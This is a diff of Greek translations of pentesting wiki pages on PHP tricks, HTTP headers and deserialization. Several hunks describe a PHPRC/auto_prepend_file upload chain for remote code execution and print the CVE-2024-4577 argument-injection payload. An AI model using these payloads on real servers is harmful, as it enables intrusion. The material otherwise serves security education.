- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
|
- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
|
||||||
1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικά μας
|
1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
|
||||||
2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
|
2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
|
||||||
3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
|
3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
|
||||||
- Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
- Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||||
- **PHPRC** - άλλη επιλογή
|
- **PHPRC** - άλλη επιλογή
|
||||||
@ -290,7 +291,7 @@ usort();}phpinfo;#, "cmp");
|
|||||||
|
|
||||||
### XAMPP CGI RCE - CVE-2024-4577
|
### XAMPP CGI RCE - CVE-2024-4577
|
||||||
|
|
||||||
Ο webserver αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:
|
Ο web server αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως το [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:
|
||||||
```jsx
|
```jsx
|
||||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||||
```
|
```
|
||||||
@ -352,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
|
|||||||
```
|
```
|
||||||
## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b")
|
## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b")
|
||||||
|
|
||||||
Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς:
|
Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης** μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||||
|
|||||||
@ -56,12 +56,12 @@
|
|||||||
|
|
||||||
**Επικεφαλίδες Cache Διακομιστή**:
|
**Επικεφαλίδες Cache Διακομιστή**:
|
||||||
|
|
||||||
- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν η αίτηση δεν αποθηκεύτηκε στην cache και την τιμή **`hit`** όταν αποθηκεύτηκε.
|
- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν η αίτηση δεν έχει αποθηκευτεί στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένη
|
||||||
- Παρόμοια συμπεριφορά στην επικεφαλίδα **`Cf-Cache-Status`**.
|
- Παρόμοια συμπεριφορά στην επικεφαλίδα **`Cf-Cache-Status`**
|
||||||
- **`Cache-Control`** υποδεικνύει αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`.
|
- **`Cache-Control`** υποδεικνύει αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
|
||||||
- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει πρόσθετες επικεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες.
|
- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει επιπλέον επικεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες.
|
||||||
- **`Age`** ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy.
|
- **`Age`** ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy.
|
||||||
- **`Server-Timing: cdn-cache; desc=HIT`** υποδεικνύει επίσης ότι ένας πόρος αποθηκεύτηκε στην cache.
|
- **`Server-Timing: cdn-cache; desc=HIT`** υποδεικνύει επίσης ότι ένας πόρος έχει αποθηκευτεί στην cache
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/cache-deception/
|
../../pentesting-web/cache-deception/
|
||||||
@ -69,10 +69,10 @@
|
|||||||
|
|
||||||
**Τοπικές επικεφαλίδες Cache**:
|
**Τοπικές επικεφαλίδες Cache**:
|
||||||
|
|
||||||
- `Clear-Site-Data`: Επικεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`.
|
- `Clear-Site-Data`: Επικεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`
|
||||||
- `Expires`: Περιέχει ημερομηνία/ώρα που η απάντηση πρέπει να λήξει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`.
|
- `Expires`: Περιέχει ημερομηνία/ώρα όταν η απάντηση πρέπει να λήξει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||||
- `Pragma: no-cache` το ίδιο με `Cache-Control: no-cache`.
|
- `Pragma: no-cache` το ίδιο με `Cache-Control: no-cache`
|
||||||
- `Warning`: Η **`Warning`** γενική HTTP επικεφαλίδα περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία `Warning` επικεφαλίδες μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`.
|
- `Warning`: Η **`Warning`** γενική HTTP επικεφαλίδα περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία `Warning` επικεφαλίδες μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||||
|
|
||||||
## Συνθήκες
|
## Συνθήκες
|
||||||
|
|
||||||
@ -82,23 +82,24 @@
|
|||||||
|
|
||||||
## Αιτήσεις Εύρους
|
## Αιτήσεις Εύρους
|
||||||
|
|
||||||
- **`Accept-Ranges`**: Υποδεικνύει αν ο διακομιστής υποστηρίζει αιτήσεις εύρους, και αν ναι, σε ποια μονάδα μπορεί να εκφραστεί το εύρος. `Accept-Ranges: <range-unit>`.
|
- **`Accept-Ranges`**: Υποδεικνύει αν ο διακομιστής υποστηρίζει αιτήσεις εύρους, και αν ναι σε ποια μονάδα μπορεί να εκφραστεί το εύρος. `Accept-Ranges: <range-unit>`
|
||||||
- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει.
|
- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με κωδικό κατάστασης 206 Partial Content. Επίσης, θυμηθείτε να αφαιρέσετε την επικεφαλίδα `Accept-Encoding` από την αίτηση.
|
||||||
- **`If-Range`**: Δημιουργεί μια συνθήκη αίτησης εύρους που εκπληρώνεται μόνο αν το δεδομένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτραπεί η λήψη δύο εύρων από ασύμβατες εκδόσεις του πόρου.
|
- Αυτό θα μπορούσε να είναι χρήσιμο για να αποκτήσετε μια απάντηση με αυθαίρετο κωδικό JavaScript που διαφορετικά θα μπορούσε να διαφύγει. Αλλά για να το εκμεταλλευτείτε αυτό θα χρειαστεί να εισάγετε αυτές τις επικεφαλίδες στην αίτηση.
|
||||||
|
- **`If-Range`**: Δημιουργεί μια συνθήκη αίτησης εύρους που εκπληρώνεται μόνο αν το δεδομένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτρέψει τη λήψη δύο εύρων από ασύμβατες εκδόσεις του πόρου.
|
||||||
- **`Content-Range`**: Υποδεικνύει πού σε ένα πλήρες μήνυμα σώματος ανήκει ένα μερικό μήνυμα.
|
- **`Content-Range`**: Υποδεικνύει πού σε ένα πλήρες μήνυμα σώματος ανήκει ένα μερικό μήνυμα.
|
||||||
|
|
||||||
## Πληροφορίες σώματος μηνύματος
|
## Πληροφορίες σώματος μηνύματος
|
||||||
|
|
||||||
- **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικό αριθμό bytes.
|
- **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικό αριθμό bytes.
|
||||||
- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου του πόρου.
|
- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου του πόρου
|
||||||
- **`Content-Encoding`**: Χρησιμοποιείται για να προσδιορίσει τον αλγόριθμο συμπίεσης.
|
- **`Content-Encoding`**: Χρησιμοποιείται για να προσδιορίσει τον αλγόριθμο συμπίεσης.
|
||||||
- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με την προτιμώμενη γλώσσα του.
|
- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με τη δική του προτιμώμενη γλώσσα.
|
||||||
- **`Content-Location`**: Υποδεικνύει μια εναλλακτική τοποθεσία για τα επιστρεφόμενα δεδομένα.
|
- **`Content-Location`**: Υποδεικνύει μια εναλλακτική τοποθεσία για τα επιστρεφόμενα δεδομένα.
|
||||||
|
|
||||||
Από την άποψη ενός pentest, αυτές οι πληροφορίες είναι συνήθως "άχρηστες", αλλά αν ο πόρος είναι **προστατευμένος** από 401 ή 403 και μπορείτε να βρείτε κάποιο **τρόπο** να **πάρετε** αυτές τις **πληροφορίες**, αυτό θα μπορούσε να είναι **ενδιαφέρον.**\
|
Από την άποψη ενός pentest, αυτές οι πληροφορίες είναι συνήθως "άχρηστες", αλλά αν ο πόρος είναι **προστατευμένος** από 401 ή 403 και μπορείτε να βρείτε κάποιο **τρόπο** να **πάρετε** αυτές τις **πληροφορίες**, αυτό θα μπορούσε να είναι **ενδιαφέρον.**\
|
||||||
Για παράδειγμα, ένας συνδυασμός **`Range`** και **`Etag`** σε μια αίτηση HEAD μπορεί να διαρρεύσει το περιεχόμενο της σελίδας μέσω αιτήσεων HEAD:
|
Για παράδειγμα, ένας συνδυασμός **`Range`** και **`Etag`** σε μια αίτηση HEAD μπορεί να διαρρεύσει το περιεχόμενο της σελίδας μέσω αιτήσεων HEAD:
|
||||||
|
|
||||||
- Μια αίτηση με την επικεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`.
|
- Μια αίτηση με την επικεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||||
|
|
||||||
## Πληροφορίες Διακομιστή
|
## Πληροφορίες Διακομιστή
|
||||||
|
|
||||||
@ -108,27 +109,27 @@
|
|||||||
## Έλεγχοι
|
## Έλεγχοι
|
||||||
|
|
||||||
- **`Allow`**: Αυτή η επικεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις HTTP μεθόδους που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
|
- **`Allow`**: Αυτή η επικεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις HTTP μεθόδους που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
|
||||||
- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την επικεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας επιβεβαίωση από τον διακομιστή.
|
- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την επικεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας την επιβεβαίωση του διακομιστή.
|
||||||
|
|
||||||
## Λήψεις
|
## Λήψεις
|
||||||
|
|
||||||
- Η **`Content-Disposition`** επικεφαλίδα στις HTTP απαντήσεις καθορίζει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα:
|
- Η **`Content-Disposition`** επικεφαλίδα στις HTTP απαντήσεις κατευθύνει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα:
|
||||||
```
|
```
|
||||||
Content-Disposition: attachment; filename="filename.jpg"
|
Content-Disposition: attachment; filename="filename.jpg"
|
||||||
```
|
```
|
||||||
Αυτό σημαίνει ότι το αρχείο με το όνομα "filename.jpg" προορίζεται να κατέβει και να αποθηκευτεί.
|
Αυτό σημαίνει ότι το αρχείο με το όνομα "filename.jpg" προορίζεται να κατέβει και να αποθηκευτεί.
|
||||||
|
|
||||||
## Ασφαλιστικές Κεφαλίδες
|
## Security Headers
|
||||||
|
|
||||||
### Πολιτική Ασφαλείας Περιεχομένου (CSP) <a href="#csp" id="csp"></a>
|
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/content-security-policy-csp-bypass/
|
../../pentesting-web/content-security-policy-csp-bypass/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### **Εμπιστευμένοι Τύποι**
|
### **Trusted Types**
|
||||||
|
|
||||||
Με την επιβολή Εμπιστευμένων Τύπων μέσω CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Οι Εμπιστευμένοι Τύποι διασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, που συμμορφώνονται με καθορισμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις API ιστού, εξασφαλίζοντας έτσι τον κώδικα JavaScript από προεπιλογή.
|
Με την επιβολή των Trusted Types μέσω CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Οι Trusted Types διασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, που συμμορφώνονται με καθορισμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις web API, εξασφαλίζοντας έτσι τον κώδικα JavaScript από προεπιλογή.
|
||||||
```javascript
|
```javascript
|
||||||
// Feature detection
|
// Feature detection
|
||||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||||
@ -153,11 +154,11 @@ X-Content-Type-Options: nosniff
|
|||||||
```
|
```
|
||||||
### **X-Frame-Options**
|
### **X-Frame-Options**
|
||||||
|
|
||||||
Για να καταπολεμηθεί το clickjacking, αυτή η κεφαλίδα περιορίζει το πώς μπορούν να ενσωματωθούν έγγραφα σε `<frame>`, `<iframe>`, `<embed>`, ή `<object>` ετικέτες, προτείνοντας σε όλα τα έγγραφα να καθορίζουν ρητά τις άδειες ενσωμάτωσής τους.
|
Για να καταπολεμηθεί το clickjacking, αυτή η κεφαλίδα περιορίζει το πώς μπορούν να ενσωματωθούν έγγραφα σε `<frame>`, `<iframe>`, `<embed>`, ή `<object>` tags, προτείνοντας σε όλα τα έγγραφα να καθορίζουν ρητά τις άδειες ενσωμάτωσής τους.
|
||||||
```
|
```
|
||||||
X-Frame-Options: DENY
|
X-Frame-Options: DENY
|
||||||
```
|
```
|
||||||
### **Cross-Origin Resource Policy (CORP) και Cross-Origin Resource Sharing (CORS)**
|
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||||
|
|
||||||
CORP είναι κρίσιμη για τον καθορισμό ποιες πόροι μπορούν να φορτωθούν από ιστοσελίδες, μετριάζοντας τις διαρροές μεταξύ ιστότοπων. CORS, από την άλλη πλευρά, επιτρέπει έναν πιο ευέλικτο μηχανισμό διαμοιρασμού πόρων μεταξύ διαφορετικών προελεύσεων, χαλαρώνοντας την πολιτική της ίδιας προέλευσης υπό ορισμένες συνθήκες.
|
CORP είναι κρίσιμη για τον καθορισμό ποιες πόροι μπορούν να φορτωθούν από ιστοσελίδες, μετριάζοντας τις διαρροές μεταξύ ιστότοπων. CORS, από την άλλη πλευρά, επιτρέπει έναν πιο ευέλικτο μηχανισμό διαμοιρασμού πόρων μεταξύ διαφορετικών προελεύσεων, χαλαρώνοντας την πολιτική της ίδιας προέλευσης υπό ορισμένες συνθήκες.
|
||||||
```
|
```
|
||||||
@ -165,9 +166,9 @@ Cross-Origin-Resource-Policy: same-origin
|
|||||||
Access-Control-Allow-Origin: https://example.com
|
Access-Control-Allow-Origin: https://example.com
|
||||||
Access-Control-Allow-Credentials: true
|
Access-Control-Allow-Credentials: true
|
||||||
```
|
```
|
||||||
### **Cross-Origin Embedder Policy (COEP) και Cross-Origin Opener Policy (COOP)**
|
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
|
||||||
|
|
||||||
COEP και COOP είναι απαραίτητα για την ενεργοποίηση της απομόνωσης μεταξύ διαφορετικών προελεύσεων, μειώνοντας σημαντικά τον κίνδυνο επιθέσεων τύπου Spectre. Ελέγχουν τη φόρτωση πόρων από διαφορετικές προελεύσεις και την αλληλεπίδραση με παράθυρα από διαφορετικές προελεύσεις, αντίστοιχα.
|
COEP και COOP είναι απαραίτητα για την ενεργοποίηση της διασυνοριακής απομόνωσης, μειώνοντας σημαντικά τον κίνδυνο επιθέσεων τύπου Spectre. Ελέγχουν τη φόρτωση διασυνοριακών πόρων και την αλληλεπίδραση με διασυνοριακά παράθυρα, αντίστοιχα.
|
||||||
```
|
```
|
||||||
Cross-Origin-Embedder-Policy: require-corp
|
Cross-Origin-Embedder-Policy: require-corp
|
||||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||||
|
|||||||
@ -74,7 +74,7 @@ This is a test<br />
|
|||||||
*/
|
*/
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο αποδομηθεί. Σημειώστε ότι σε πολλές οδηγίες θα βρείτε ότι η συνάρτηση **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό **δεν συμβαίνει πια**.
|
Αν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις **`__wakeup`** και **`__destruct`** καλούνται όταν το αντικείμενο αποδομείται. Σημειώστε ότι σε πολλές οδηγίες θα βρείτε ότι η συνάρτηση **`__toString`** καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό **δεν συμβαίνει πια**.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Η μέθοδος **`__unserialize(array $data)`** καλείται **αντί για `__wakeup()`** αν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποδομήσετε το αντικείμενο παρέχοντας τα σειριασμένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποδομήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.
|
> Η μέθοδος **`__unserialize(array $data)`** καλείται **αντί για `__wakeup()`** αν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποδομήσετε το αντικείμενο παρέχοντας τα σειριασμένα δεδομένα ως πίνακα. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να αποδομήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτε απαραίτητες εργασίες κατά την αποδόμηση.
|
||||||
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
|
|||||||
|
|
||||||
### Serializing Referenced Values
|
### Serializing Referenced Values
|
||||||
|
|
||||||
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη σειριασμένη τιμή**, μπορείτε:
|
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη σειριοποιημένη τιμή**, μπορείτε:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class AClass {
|
class AClass {
|
||||||
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
|||||||
```
|
```
|
||||||
Πριν ελέγξετε την τεχνική παράκαμψης, δοκιμάστε να χρησιμοποιήσετε `print(base64.b64encode(pickle.dumps(P(),2)))` για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 αν τρέχετε python3.
|
Πριν ελέγξετε την τεχνική παράκαμψης, δοκιμάστε να χρησιμοποιήσετε `print(base64.b64encode(pickle.dumps(P(),2)))` για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 αν τρέχετε python3.
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες σχετικά με την έξοδο από **pickle jails** ελέγξτε:
|
Για περισσότερες πληροφορίες σχετικά με την αποφυγή από **pickle jails** ελέγξτε:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||||
@ -169,8 +169,8 @@ python-yaml-deserialization.md
|
|||||||
|
|
||||||
### JS Magic Functions
|
### JS Magic Functions
|
||||||
|
|
||||||
JS **δεν έχει "μαγικές" συναρτήσεις** όπως η PHP ή η Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
|
JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||||
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) θα μπορούσατε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
|
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
|
||||||
|
|
||||||
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
|
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
|
||||||
```javascript
|
```javascript
|
||||||
@ -234,7 +234,7 @@ console.log("Serialized: \n" + payload_serialized)
|
|||||||
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
|
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
|
||||||
|
|
||||||
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
|
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
|
||||||
